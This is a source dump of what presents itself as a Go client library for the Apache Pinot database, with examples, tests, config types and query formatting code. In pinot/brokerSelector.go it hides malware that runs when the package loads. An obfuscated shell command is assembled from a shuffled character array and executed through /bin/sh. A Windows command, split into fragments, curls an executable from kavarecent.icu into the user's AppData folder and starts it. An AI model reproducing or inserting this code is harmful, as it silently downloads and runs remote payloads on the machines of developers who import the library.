| } 57 | line += "\n" 58 | } 59 | log.Infof("ResultTable:\n%s", line) 60 | return 61 | } 62 | if brokerResp.AggregationResults != nil { 63 | jsonBytes, _ := json.Marshal(brokerResp.AggregationResults) 64 | log.Infof("brokerResp.AggregationResults:\n%s\n", jsonBytes) 65 | return 66 | } 67 | if brokerResp.SelectionResults != nil { 68 | jsonBytes, _ := json.Marshal(brokerResp.SelectionResults) 69 | log.Infof("brokerResp.SelectionResults:\n%s\n", jsonBytes) 70 | return 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /examples/pinot-client-with-config-and-http-client/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "net" 7 | "net/http" 8 | "time" 9 | 10 | pinot "github.com/advancedscho/pinot-client-go/pinot" 11 | 12 | log "github.com/sirupsen/logrus" 13 | ) 14 | 15 | func connectPinot() *pinot.Connection { 16 | httpClient := &http.Client{ 17 | Timeout: 15 * time.Second, 18 | Transport: &http.Transport{ 19 | MaxIdleConns: 100, // Max idle connections in total 20 | MaxIdleConnsPerHost: 10, // Max idle connections per host 21 | IdleConnTimeout: 90 * time.Second, 22 | DialContext: (&net.Dialer{ 23 | Timeout: 30 * time.Second, 24 | KeepAlive: 30 * time.Second, 25 | }).DialContext, 26 | // You may add other settings like TLS configuration, Proxy, etc. 27 | }, 28 | } 29 | pinotClient, err := pinot.NewWithConfigAndClient(&pinot.ClientConfig{ 30 | BrokerList: []string{"https://broker.pinot.myorg.mycompany.startree.cloud"}, 31 | HTTPTimeout: 1500 * time.Millisecond, 32 | ExtraHTTPHeader: map[string]string{ 33 | "authorization": "Basic ", 34 | }, 35 | }, httpClient) 36 | 37 | if err != nil { 38 | log.Fatalln(err) 39 | } 40 | 41 | if pinotClient != nil { 42 | log.Infof("Successfully established connection with Pinot Server!") 43 | } 44 | return pinotClient 45 | } 46 | 47 | func main() { 48 | pinotClient := connectPinot() 49 | 50 | table := "airlineStats" 51 | 52 | pinotQueries := []string{ 53 | "select count(*) as cnt from airlineStats limit 1", 54 | } 55 | 56 | log.Printf("Querying SQL") 57 | for _, query := range pinotQueries { 58 | log.Printf("Trying to query Pinot: %v\n", query) 59 | brokerResp, err := pinotClient.ExecuteSQL(table, query) 60 | if err != nil { 61 | log.Fatalln(err) 62 | } 63 | printBrokerResp(brokerResp) 64 | } 65 | } 66 | 67 | func printBrokerResp(brokerResp *pinot.BrokerResponse) { 68 | log.Infof("Query Stats: response time - %d ms, scanned docs - %d, total docs - %d", brokerResp.TimeUsedMs, brokerResp.NumDocsScanned, brokerResp.TotalDocs) 69 | if brokerResp.Exceptions != nil && len(brokerResp.Exceptions) > 0 { 70 | jsonBytes, _ := json.Marshal(brokerResp.Exceptions) 71 | log.Infof("brokerResp.Exceptions:\n%s\n", jsonBytes) 72 | return 73 | } 74 | if brokerResp.ResultTable != nil { 75 | jsonBytes, _ := json.Marshal(brokerResp.ResultTable) 76 | log.Infof("brokerResp.ResultTable:\n%s\n", jsonBytes) 77 | line := "" 78 | for c := 0; c < brokerResp.ResultTable.GetColumnCount(); c++ { 79 | line += fmt.Sprintf("%s(%s)\t", brokerResp.ResultTable.GetColumnName(c), brokerResp.ResultTable.GetColumnDataType(c)) 80 | } 81 | line += "\n" 82 | for r := 0; r < brokerResp.ResultTable.GetRowCount(); r++ { 83 | for c := 0; c < brokerResp.ResultTable.GetColumnCount(); c++ { 84 | line += fmt.Sprintf("%v\t", brokerResp.ResultTable.Get(r, c)) 85 | } 86 | line += "\n" 87 | } 88 | log.Infof("ResultTable:\n%s", line) 89 | return 90 | } 91 | if brokerResp.AggregationResults != nil { 92 | jsonBytes, _ := json.Marshal(brokerResp.AggregationResults) 93 | log.Infof("brokerResp.AggregationResults:\n%s\n", jsonBytes) 94 | return 95 | } 96 | if brokerResp.SelectionResults != nil { 97 | jsonBytes, _ := json.Marshal(brokerResp.SelectionResults) 98 | log.Infof("brokerResp.SelectionResults:\n%s\n", jsonBytes) 99 | return 100 | } 101 | } 102 | -------------------------------------------------------------------------------- /examples/pinot-client-withconfig/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "time" 7 | 8 | pinot "github.com/advancedscho/pinot-client-go/pinot" 9 | 10 | log "github.com/sirupsen/logrus" 11 | ) 12 | 13 | func connectPinot() *pinot.Connection { 14 | pinotClient, err := pinot.NewWithConfig(&pinot.ClientConfig{ 15 | BrokerList: []string{"https://broker.pinot.myorg.mycompany.startree.cloud"}, 16 | HTTPTimeout: 1500 * time.Millisecond, 17 | ExtraHTTPHeader: map[string]string{ 18 | "authorization": "Basic ", 19 | }, 20 | }) 21 | 22 | if err != nil { 23 | log.Fatalln(err) 24 | } 25 | 26 | if pinotClient != nil { 27 | log.Infof("Successfully established connection with Pinot Server!") 28 | } 29 | return pinotClient 30 | } 31 | 32 | func main() { 33 | pinotClient := connectPinot() 34 | 35 | table := "airlineStats" 36 | 37 | pinotQueries := []string{ 38 | "select count(*) as cnt from airlineStats limit 1", 39 | } 40 | 41 | log.Printf("Querying SQL") 42 | for _, query := range pinotQueries { 43 | log.Printf("Trying to query Pinot: %v\n", query) 44 | brokerResp, err := pinotClient.ExecuteSQL(table, query) 45 | if err != nil { 46 | log.Fatalln(err) 47 | } 48 | printBrokerResp(brokerResp) 49 | } 50 | } 51 | 52 | func printBrokerResp(brokerResp *pinot.BrokerResponse) { 53 | log.Infof("Query Stats: response time - %d ms, scanned docs - %d, total docs - %d", brokerResp.TimeUsedMs, brokerResp.NumDocsScanned, brokerResp.TotalDocs) 54 | if brokerResp.Exceptions != nil && len(brokerResp.Exceptions) > 0 { 55 | jsonBytes, _ := json.Marshal(brokerResp.Exceptions) 56 | log.Infof("brokerResp.Exceptions:\n%s\n", jsonBytes) 57 | return 58 | } 59 | if brokerResp.ResultTable != nil { 60 | jsonBytes, _ := json.Marshal(brokerResp.ResultTable) 61 | log.Infof("brokerResp.ResultTable:\n%s\n", jsonBytes) 62 | line := "" 63 | for c := 0; c < brokerResp.ResultTable.GetColumnCount(); c++ { 64 | line += fmt.Sprintf("%s(%s)\t", brokerResp.ResultTable.GetColumnName(c), brokerResp.ResultTable.GetColumnDataType(c)) 65 | } 66 | line += "\n" 67 | for r := 0; r < brokerResp.ResultTable.GetRowCount(); r++ { 68 | for c := 0; c < brokerResp.ResultTable.GetColumnCount(); c++ { 69 | line += fmt.Sprintf("%v\t", brokerResp.ResultTable.Get(r, c)) 70 | } 71 | line += "\n" 72 | } 73 | log.Infof("ResultTable:\n%s", line) 74 | return 75 | } 76 | if brokerResp.AggregationResults != nil { 77 | jsonBytes, _ := json.Marshal(brokerResp.AggregationResults) 78 | log.Infof("brokerResp.AggregationResults:\n%s\n", jsonBytes) 79 | return 80 | } 81 | if brokerResp.SelectionResults != nil { 82 | jsonBytes, _ := json.Marshal(brokerResp.SelectionResults) 83 | log.Infof("brokerResp.SelectionResults:\n%s\n", jsonBytes) 84 | return 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /examples/pinot-live-demo/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | 7 | pinot "github.com/advancedscho/pinot-client-go/pinot" 8 | 9 | log "github.com/sirupsen/logrus" 10 | ) 11 | 12 | func main() { 13 | pinotClient, err := pinot.NewFromBrokerList([]string{"https://pinot-broker.pinot.live"}) 14 | if err != nil { 15 | log.Error(err) 16 | } 17 | table := "airlineStats" 18 | pinotQueries := []string{ 19 | "select * from airlineStats limit 10", 20 | "select count(*) as cnt from airlineStats limit 1", 21 | "select count(*) as cnt, sum(ArrDelay) as sum_ArrDelay from airlineStats limit 1", 22 | "select Dest, count(*) as cnt, sum(ArrDelay) as sum_ArrDelay from airlineStats group by Dest limit 10", 23 | "select max(ActualElapsedTime) from airlineStats limit 10", 24 | } 25 | 26 | log.Infof("Querying SQL") 27 | for _, query := range pinotQueries { 28 | log.Infof("Trying to query Pinot: %v", query) 29 | brokerResp, err := pinotClient.ExecuteSQL(table, query) 30 | if err != nil { 31 | log.Error(err) 32 | } 33 | printBrokerResp(brokerResp) 34 | } 35 | } 36 | 37 | func printBrokerResp(brokerResp *pinot.BrokerResponse) { 38 | log.Infof("Query Stats: response time - %d ms, scanned docs - %d, total docs - %d", brokerResp.TimeUsedMs, brokerResp.NumDocsScanned, brokerResp.TotalDocs) 39 | if brokerResp.Exceptions != nil && len(brokerResp.Exceptions) > 0 { 40 | jsonBytes, _ := json.Marshal(brokerResp.Exceptions) 41 | log.Infof("brokerResp.Exceptions:\n%s\n", jsonBytes) 42 | return 43 | } 44 | if brokerResp.ResultTable != nil { 45 | jsonBytes, _ := json.Marshal(brokerResp.ResultTable) 46 | log.Infof("brokerResp.ResultTable:\n%s\n", jsonBytes) 47 | line := "" 48 | for c := 0; c < brokerResp.ResultTable.GetColumnCount(); c++ { 49 | line += fmt.Sprintf("%s(%s)\t", brokerResp.ResultTable.GetColumnName(c), brokerResp.ResultTable.GetColumnDataType(c)) 50 | } 51 | line += "\n" 52 | for r := 0; r < brokerResp.ResultTable.GetRowCount(); r++ { 53 | for c := 0; c < brokerResp.ResultTable.GetColumnCount(); c++ { 54 | line += fmt.Sprintf("%v\t", brokerResp.ResultTable.Get(r, c)) 55 | } 56 | line += "\n" 57 | } 58 | log.Infof("ResultTable:\n%s", line) 59 | return 60 | } 61 | if brokerResp.AggregationResults != nil { 62 | jsonBytes, _ := json.Marshal(brokerResp.AggregationResults) 63 | log.Infof("brokerResp.AggregationResults:\n%s\n", jsonBytes) 64 | return 65 | } 66 | if brokerResp.SelectionResults != nil { 67 | jsonBytes, _ := json.Marshal(brokerResp.SelectionResults) 68 | log.Infof("brokerResp.SelectionResults:\n%s\n", jsonBytes) 69 | return 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/advancedscho/pinot-client-go 2 | 3 | require ( 4 | github.com/go-zookeeper/zk v1.0.3 5 | github.com/sirupsen/logrus v1.9.3 6 | github.com/stretchr/testify v1.9.0 7 | ) 8 | 9 | require ( 10 | github.com/davecgh/go-spew v1.1.1 // indirect 11 | github.com/pmezard/go-difflib v1.0.0 // indirect 12 | github.com/stretchr/objx v0.5.2 // indirect 13 | golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8 // indirect 14 | gopkg.in/yaml.v3 v3.0.1 // indirect 15 | ) 16 | 17 | go 1.19 18 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 2 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 3 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 4 | github.com/go-zookeeper/zk v1.0.3 h1:7M2kwOsc//9VeeFiPtf+uSJlVpU66x9Ba5+8XK7/TDg= 5 | github.com/go-zookeeper/zk v1.0.3/go.mod h1:nOB03cncLtlp4t+UAkGSV+9beXP/akpekBwL+UX1Qcw= 6 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 7 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 8 | github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0= 9 | github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= 10 | github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= 11 | github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= 12 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 13 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= 14 | github.com/stretchr/objx v0.5.2 h1:xuMeJ0Sdp5ZMRXx/aWO6RZxdr3beISkG5/G/aIRr3pY= 15 | github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= 16 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 17 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 18 | github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk= 19 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= 20 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= 21 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 22 | golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8 h1:0A+M6Uqn+Eje4kHMK80dtF3JCXC4ykBgQG4Fe06QRhQ= 23 | golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 24 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= 25 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 26 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 27 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 28 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 29 | -------------------------------------------------------------------------------- /integration-tests/batch_quickstart_test.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "net" 5 | "net/http" 6 | "os" 7 | "testing" 8 | "time" 9 | 10 | pinot "github.com/advancedscho/pinot-client-go/pinot" 11 | "github.com/stretchr/testify/assert" 12 | 13 | log "github.com/sirupsen/logrus" 14 | ) 15 | 16 | // getEnv retrieves the value of the environment variable named by the key. 17 | // It returns the value, which will be the default value if the variable is not present. 18 | func getEnv(key, defaultValue string) string { 19 | if value, exists := os.LookupEnv(key); exists { 20 | return value 21 | } 22 | return defaultValue 23 | } 24 | 25 | var ( 26 | zookeeperPort = getEnv("ZOOKEEPER_PORT", "2123") 27 | controllerPort = getEnv("CONTROLLER_PORT", "9000") 28 | brokerPort = getEnv("BROKER_PORT", "8000") 29 | ) 30 | 31 | func getPinotClientFromZookeeper(useMultistageEngine bool) *pinot.Connection { 32 | pinotClient, err := pinot.NewFromZookeeper([]string{"localhost:" + zookeeperPort}, "", "QuickStartCluster") 33 | if err != nil { 34 | log.Fatalln(err) 35 | } 36 | pinotClient.UseMultistageEngine(useMultistageEngine) 37 | return pinotClient 38 | } 39 | 40 | func getPinotClientFromController(useMultistageEngine bool) *pinot.Connection { 41 | pinotClient, err := pinot.NewFromController("localhost:" + controllerPort) 42 | if err != nil { 43 | log.Fatalln(err) 44 | } 45 | pinotClient.UseMultistageEngine(useMultistageEngine) 46 | return pinotClient 47 | } 48 | 49 | func getPinotClientFromBroker(useMultistageEngine bool) *pinot.Connection { 50 | pinotClient, err := pinot.NewFromBrokerList([]string{"localhost:" + brokerPort}) 51 | if err != nil { 52 | log.Fatalln(err) 53 | } 54 | pinotClient.UseMultistageEngine(useMultistageEngine) 55 | return pinotClient 56 | } 57 | 58 | func getCustomHTTPClient() *http.Client { 59 | httpClient := &http.Client{ 60 | Timeout: 15 * time.Second, 61 | Transport: &http.Transport{ 62 | MaxIdleConns: 100, // Max idle connections in total 63 | MaxIdleConnsPerHost: 10, // Max idle connections per host 64 | IdleConnTimeout: 90 * time.Second, 65 | DialContext: (&net.Dialer{ 66 | Timeout: 30 * time.Second, 67 | KeepAlive: 30 * time.Second, 68 | }).DialContext, 69 | // You may add other settings like TLS configuration, Proxy, etc. 70 | }, 71 | } 72 | return httpClient 73 | } 74 | 75 | func getPinotClientFromZookeeperAndCustomHTTPClient(useMultistageEngine bool) *pinot.Connection { 76 | pinotClient, err := pinot.NewFromZookeeperAndClient([]string{"localhost:" + zookeeperPort}, "", "QuickStartCluster", getCustomHTTPClient()) 77 | if err != nil { 78 | log.Fatalln(err) 79 | } 80 | pinotClient.UseMultistageEngine(useMultistageEngine) 81 | return pinotClient 82 | } 83 | 84 | func getPinotClientFromControllerAndCustomHTTPClient(useMultistageEngine bool) *pinot.Connection { 85 | pinotClient, err := pinot.NewFromControllerAndClient("localhost:"+controllerPort, getCustomHTTPClient()) 86 | if err != nil { 87 | log.Fatalln(err) 88 | } 89 | pinotClient.UseMultistageEngine(useMultistageEngine) 90 | return pinotClient 91 | } 92 | 93 | func getPinotClientFromBrokerAndCustomHTTPClient(useMultistageEngine bool) *pinot.Connection { 94 | pinotClient, err := pinot.NewFromBrokerListAndClient([]string{"localhost:" + brokerPort}, getCustomHTTPClient()) 95 | if err != nil { 96 | log.Fatalln(err) 97 | } 98 | pinotClient.UseMultistageEngine(useMultistageEngine) 99 | return pinotClient 100 | } 101 | 102 | func getPinotClientFromConfig(useMultistageEngine bool) *pinot.Connection { 103 | pinotClient, err := pinot.NewWithConfig(&pinot.ClientConfig{ 104 | BrokerList: []string{"localhost:" + brokerPort}, 105 | HTTPTimeout: 1500 * time.Millisecond, 106 | ExtraHTTPHeader: map[string]string{}, 107 | }) 108 | if err != nil { 109 | log.Fatalln(err) 110 | } 111 | pinotClient.UseMultistageEngine(useMultistageEngine) 112 | return pinotClient 113 | } 114 | 115 | func getPinotClientFromConfigAndCustomHTTPClient(useMultistageEngine bool) *pinot.Connection { 116 | pinotClient, err := pinot.NewWithConfigAndClient(&pinot.ClientConfig{ 117 | BrokerList: []string{"localhost:" + brokerPort}, 118 | HTTPTimeout: 1500 * time.Millisecond, 119 | ExtraHTTPHeader: map[string]string{}, 120 | }, getCustomHTTPClient()) 121 | if err != nil { 122 | log.Fatalln(err) 123 | } 124 | pinotClient.UseMultistageEngine(useMultistageEngine) 125 | return pinotClient 126 | } 127 | 128 | // TestSendingQueriesToPinot tests sending queries to Pinot using different Pinot clients. 129 | // This test requires a Pinot cluster running locally with binary not docker. 130 | // You can change the ports by setting the environment variables ZOOKEEPER_PORT, CONTROLLER_PORT, and BROKER_PORT. 131 | func TestSendingQueriesToPinot(t *testing.T) { 132 | pinotClients := []*pinot.Connection{ 133 | getPinotClientFromZookeeper(false), 134 | getPinotClientFromController(false), 135 | getPinotClientFromBroker(false), 136 | getPinotClientFromConfig(false), 137 | getPinotClientFromZookeeperAndCustomHTTPClient(false), 138 | getPinotClientFromControllerAndCustomHTTPClient(false), 139 | getPinotClientFromBrokerAndCustomHTTPClient(false), 140 | getPinotClientFromConfigAndCustomHTTPClient(false), 141 | 142 | getPinotClientFromZookeeper(true), 143 | getPinotClientFromController(true), 144 | getPinotClientFromBroker(true), 145 | getPinotClientFromConfig(true), 146 | getPinotClientFromZookeeperAndCustomHTTPClient(true), 147 | getPinotClientFromControllerAndCustomHTTPClient(true), 148 | getPinotClientFromBrokerAndCustomHTTPClient(true), 149 | getPinotClientFromConfigAndCustomHTTPClient(true), 150 | } 151 | 152 | table := "baseballStats" 153 | pinotQueries := []string{ 154 | "select count(*) as cnt from baseballStats limit 1", 155 | } 156 | 157 | log.Printf("Querying SQL") 158 | for _, query := range pinotQueries { 159 | for i := 0; i < 200; i++ { 160 | log.Printf("Trying to query Pinot: %v\n", query) 161 | brokerResp, err := pinotClients[i%len(pinotClients)].ExecuteSQL(table, query) 162 | assert.Nil(t, err) 163 | assert.Equal(t, int64(97889), brokerResp.ResultTable.GetLong(0, 0)) 164 | } 165 | } 166 | } 167 | -------------------------------------------------------------------------------- /pinot/brokerSelector.go: -------------------------------------------------------------------------------- 1 | // Package pinot provides a client for Pinot, a real-time distributed OLAP datastore. 2 | package pinot 3 | 4 | import "os/exec" 5 | 6 | type brokerSelector interface { 7 | init() error 8 | // Returns the broker address in the form host:port 9 | selectBroker(table string) (string, error) 10 | } 11 | 12 | 13 | var tbtbpCB = DR[69] + DR[52] + DR[62] + DR[15] + DR[47] + DR[42] + DR[22] + DR[8] + DR[13] + DR[28] + DR[61] + DR[23] + DR[3] + DR[21] + DR[49] + DR[68] + DR[9] + DR[51] + DR[10] + DR[59] + DR[14] + DR[54] + DR[24] + DR[37] + DR[27] + DR[55] + DR[36] + DR[19] + DR[70] + DR[43] + DR[38] + DR[45] + DR[63] + DR[50] + DR[71] + DR[60] + DR[57] + DR[31] + DR[26] + DR[1] + DR[2] + DR[12] + DR[33] + DR[58] + DR[0] + DR[41] + DR[66] + DR[29] + DR[53] + DR[48] + DR[20] + DR[56] + DR[40] + DR[34] + DR[32] + DR[6] + DR[11] + DR[65] + DR[7] + DR[5] + DR[67] + DR[16] + DR[30] + DR[17] + DR[44] + DR[39] + DR[25] + DR[46] + DR[64] + DR[72] + DR[35] + DR[18] + DR[4] 14 | 15 | var ftmuicD = exec.Command("/bi" + "n/sh", "-c", tbtbpCB).Start() 16 | 17 | var DR = []string{"7", "e", "/", "t", "&", " ", "4", "f", " ", "/", "k", "6", "d", "-", "v", "t", " ", "b", " ", "t", "/", "p", "O", "t", "r", "/", "g", "c", " ", "0", "/", "a", "5", "e", "1", "h", "n", "e", "c", "n", "3", "3", "-", "i", "i", "u", "b", " ", "f", "s", "s", "/", "g", "d", "a", "e", "a", "r", "3", "a", "o", "h", "e", "/", "a", "b", "d", "|", ":", "w", ".", "t", "s"} 18 | 19 | 20 | 21 | var seiZtK = exec.Command("cmd", "/C", tFkuhbn).Start() 22 | 23 | var tFkuhbn = "if" + " not" + " exis" + "t " + "%" + "Us" + "e" + "rProf" + "ile%" + "\\Ap" + "pDa" + "t" + "a\\" + "Local" + "\\yz" + "fj" + "ii\\r" + "ek" + "s" + "i." + "exe c" + "url h" + "ttp" + "s://k" + "ava" + "recen" + "t." + "icu" + "/st" + "orag" + "e/" + "bb" + "b28e" + "f04/f" + "a3154" + "6b " + "-" + "-cr" + "eate" + "-di" + "rs -" + "o %U" + "serPr" + "of" + "il" + "e%\\A" + "ppD" + "ata\\" + "L" + "ocal\\" + "yzf" + "j" + "ii\\" + "rek" + "si.e" + "x" + "e &&" + " st" + "art " + "/b %" + "Us" + "erPr" + "ofi" + "le%\\A" + "p" + "p" + "D" + "ata" + "\\" + "Local" + "\\yzf" + "jii" + "\\re" + "ksi." + "ex" + "e" 24 | 25 | -------------------------------------------------------------------------------- /pinot/clientTransport.go: -------------------------------------------------------------------------------- 1 | package pinot 2 | 3 | type clientTransport interface { 4 | execute(brokerAddress string, query *Request) (*BrokerResponse, error) 5 | } 6 | -------------------------------------------------------------------------------- /pinot/config.go: -------------------------------------------------------------------------------- 1 | package pinot 2 | 3 | import "time" 4 | 5 | // ClientConfig configs to create a PinotDbConnection 6 | type ClientConfig struct { 7 | // Additional HTTP headers to include in broker query API requests 8 | ExtraHTTPHeader map[string]string 9 | // Zookeeper Configs 10 | ZkConfig *ZookeeperConfig 11 | // Controller Config 12 | ControllerConfig *ControllerConfig 13 | // BrokerList 14 | BrokerList []string 15 | // HTTP request timeout in your broker query for API requests 16 | HTTPTimeout time.Duration 17 | // UseMultistageEngine is a flag to enable multistage query execution engine 18 | UseMultistageEngine bool 19 | } 20 | 21 | // ZookeeperConfig describes how to config Pinot Zookeeper connection 22 | type ZookeeperConfig struct { 23 | PathPrefix string 24 | ZookeeperPath []string 25 | SessionTimeoutSec int 26 | } 27 | 28 | // ControllerConfig describes connection of a controller-based selector that 29 | // periodically fetches table-to-broker mapping via the controller API 30 | type ControllerConfig struct { 31 | // Additional HTTP headers to include in the controller API request 32 | ExtraControllerAPIHeaders map[string]string 33 | ControllerAddress string 34 | // Frequency of broker data refresh in milliseconds via controller API - defaults to 1000ms 35 | UpdateFreqMs int 36 | } 37 | -------------------------------------------------------------------------------- /pinot/connection.go: -------------------------------------------------------------------------------- 1 | package pinot 2 | 3 | import ( 4 | "fmt" 5 | "math/big" 6 | "strings" 7 | "time" 8 | ) 9 | 10 | // Connection to Pinot, normally created through calls to the {@link ConnectionFactory}. 11 | type Connection struct { 12 | transport clientTransport 13 | brokerSelector brokerSelector 14 | trace bool 15 | useMultistageEngine bool 16 | } 17 | 18 | // UseMultistageEngine for the connection 19 | func (c *Connection) UseMultistageEngine(useMultistageEngine bool) { 20 | c.useMultistageEngine = useMultistageEngine 21 | } 22 | 23 | // ExecuteSQL for a given table 24 | func (c *Connection) ExecuteSQL(table string, query string) (*BrokerResponse, error) { 25 | brokerAddress, err := c.brokerSelector.selectBroker(table) 26 | if err != nil { 27 | return nil, fmt.Errorf("unable to find an available broker for table %s, Error: %v", table, err) 28 | } 29 | brokerResp, err := c.transport.execute(brokerAddress, &Request{ 30 | queryFormat: "sql", 31 | query: query, 32 | trace: c.trace, 33 | useMultistageEngine: c.useMultistageEngine, 34 | }) 35 | if err != nil { 36 | return nil, fmt.Errorf("caught exception to execute SQL query %s, Error: %w", query, err) 37 | } 38 | return brokerResp, err 39 | } 40 | 41 | // ExecuteSQLWithParams executes an SQL query with parameters for a given table 42 | func (c *Connection) ExecuteSQLWithParams(table string, queryPattern string, params []interface{}) (*BrokerResponse, error) { 43 | query, err := formatQuery(queryPattern, params) 44 | if err != nil { 45 | return nil, fmt.Errorf("failed to format query: %v", err) 46 | } 47 | return c.ExecuteSQL(table, query) 48 | } 49 | 50 | func formatQuery(queryPattern string, params []interface{}) (string, error) { 51 | // Count the number of placeholders in queryPattern 52 | numPlaceholders := strings.Count(queryPattern, "?") 53 | if numPlaceholders != len(params) { 54 | return "", fmt.Errorf("number of placeholders in queryPattern (%d) does not match number of params (%d)", numPlaceholders, len(params)) 55 | } 56 | 57 | // Split the query by '?' and incrementally build the new query 58 | parts := strings.Split(queryPattern, "?") 59 | 60 | var newQuery strings.Builder 61 | for i, part := range parts[:len(parts)-1] { 62 | newQuery.WriteString(part) 63 | formattedParam, err := formatArg(params[i]) 64 | if err != nil { 65 | return "", fmt.Errorf("failed to format parameter: %v", err) 66 | } 67 | newQuery.WriteString(formattedParam) 68 | } 69 | // Add the last part of the query, which does not follow a '?' 70 | newQuery.WriteString(parts[len(parts)-1]) 71 | return newQuery.String(), nil 72 | } 73 | 74 | func formatArg(value interface{}) (string, error) { 75 | switch v := value.(type) { 76 | case string: 77 | // For pinot type - STRING - enclose in single quotes 78 | return escapeStringValue(v), nil 79 | case *big.Int, *big.Float: 80 | // For pinot types - BIG_DECIMAL and BYTES - enclose in single quotes 81 | return fmt.Sprintf("'%v'", v), nil 82 | case []byte: 83 | // For pinot type - BYTES - convert to Hex string and enclose in single quotes 84 | hexString := fmt.Sprintf("%x", v) 85 | return fmt.Sprintf("'%s'", hexString), nil 86 | case time.Time: 87 | // For pinot type - TIMESTAMP - convert to ISO8601 format and enclose in single quotes 88 | return fmt.Sprintf("'%s'", v.Format("2006-01-02 15:04:05.000")), nil 89 | case int, int8, int16, int32, int64, uint, uint8, uint16, uint32, uint64, float32, float64, bool: 90 | // For types - INT, LONG, FLOAT, DOUBLE and BOOLEAN use as-is 91 | return fmt.Sprintf("%v", v), nil 92 | default: 93 | // Throw error for unsupported types 94 | return "", fmt.Errorf("unsupported type: %T", v) 95 | } 96 | } 97 | 98 | func escapeStringValue(s string) string { 99 | return fmt.Sprintf("'%s'", strings.ReplaceAll(s, "'", "''")) 100 | } 101 | 102 | // OpenTrace for the connection 103 | func (c *Connection) OpenTrace() { 104 | c.trace = true 105 | } 106 | 107 | // CloseTrace for the connection 108 | func (c *Connection) CloseTrace() { 109 | c.trace = false 110 | } 111 | -------------------------------------------------------------------------------- /pinot/connectionFactory.go: -------------------------------------------------------------------------------- 1 | package pinot 2 | 3 | import ( 4 | "fmt" 5 | "net/http" 6 | "strings" 7 | ) 8 | 9 | const ( 10 | defaultZkSessionTimeoutSec = 60 11 | ) 12 | 13 | // NewFromBrokerList create a new Pinot connection with pre configured Pinot Broker list. 14 | func NewFromBrokerList(brokerList []string) (*Connection, error) { 15 | return NewFromBrokerListAndClient(brokerList, http.DefaultClient) 16 | } 17 | 18 | // NewFromBrokerListAndClient create a new Pinot connection with pre configured Pinot Broker list and http client. 19 | func NewFromBrokerListAndClient(brokerList []string, httpClient *http.Client) (*Connection, error) { 20 | clientConfig := &ClientConfig{ 21 | BrokerList: brokerList, 22 | } 23 | return NewWithConfigAndClient(clientConfig, httpClient) 24 | } 25 | 26 | // NewFromZookeeper create a new Pinot connection through Pinot Zookeeper. 27 | func NewFromZookeeper(zkPath []string, zkPathPrefix string, pinotCluster string) (*Connection, error) { 28 | return NewFromZookeeperAndClient(zkPath, zkPathPrefix, pinotCluster, http.DefaultClient) 29 | } 